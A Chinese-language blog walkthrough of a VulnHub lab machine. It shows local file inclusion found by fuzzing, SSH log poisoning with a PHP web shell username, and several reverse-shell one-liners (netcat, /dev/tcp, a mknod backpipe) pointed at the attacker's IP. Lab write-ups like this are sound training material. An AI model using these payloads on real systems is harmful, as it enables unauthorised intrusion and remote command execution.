前言
这是完成的第9个VulnHub靶机,这个靶机其实思路还是很简单的,就是这里的反弹shell比较难。
信息收集
和以前一样,直接上nmap收集主机信息:
1 | kali@kali:~$ nmap -sP 192.168.247.1/24 |
继续扫描开放的服务:
1 | kali@kali:~$ nmap -p1-65535 -A 192.168.247.227 |
发现了ssh服务和http服务。
漏洞挖掘
在chrome浏览器中访问目标站点:
导航栏上有三个页面,在访问research.php
时发现了潜在的文件包含点:
但是直接包含/etc/passwd
文件就失败了,没有任何回显,那么直接上burpsuite fuzz一下,用的字典是:
1 | https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt |
从fuzz结果可以看到,成功包含了三个文件:
1 | /var/log/lastlog |
这三个文件的主要功能都是记录用户的登录信息。像/var/log/auth.log
文件会记录系统的授权信息,包括用户登录和使用的权限机制等等。从上图可以看到/var/log/auth.log
和SSH登录信息相关,所以我们可以尝试ssh登录,相关的内容都会被记录,比如尝试登录目标主机:
登录失败了,然后查看文件/var/log/auth.log
:
可以看到ssh登录的日志信息:
1 | Jul 6 07:50:38 theEther sshd[1804]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.247.210 user=root |
所以我们可以通过ssh日志文件包含入恶意的代码:
1 | ssh '<?php system($_GET['cmd']);?>'@192.168.247.227 |
然后包含该文件并添加参数cmd
:
1 | index.php?file=/var/log/auth.log&cmd=id |
命令被成功执行了,接着就可以反弹shell了。
反弹shell
1 | nc 192.168.247.210 -e /bin/bash |
觉得有点奇怪了,怎么-e
或是-c
都不管用,所以就用man nc
看一下nc命令的手册,结果看到在目标主机上的nc为了安全起见是禁用了-c
和-e
选项的:
然后尝试另一种反弹shell的方法:
1 | bash -i >& /dev/tcp/192.1168.247.210/4444 0>&1 |
但是也不行…因为这个是由解析shell的bash完成,在某些情况下不支持。
其实反弹shell的各种方法可以参考这篇文章,里面有很多反弹shell的姿势:
https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html
1 | mknod backpipe p && nc 192.168.247.210 23333 0<backpipe | /bin/bash 1>backpipe |
终于反弹了shell,接着获取标准shell:
1 | python -c 'import pty; pty.spawn("/bin/bash");' |
发现当前目录下有一个具有suid执行权限的pyton脚本xxxlogauditorxxx.py
:
接下来就是一些常规的提权操作了,但是这里是利用靶机制作者自己制作好的一个python脚本,一般实战其实也不会有这种情况。而且我没想明白的是,不知道为什么反弹了一次shell之后,重新反弹shell就怎么也不成功了…所以后面的继续提权我就没完成了。
总结
这个靶机应该是做过的思路最直白简单的一个了,就是这里的反弹shell确实是比较难,到最后我也没太搞懂原因…为什么只能连接一次呢。。。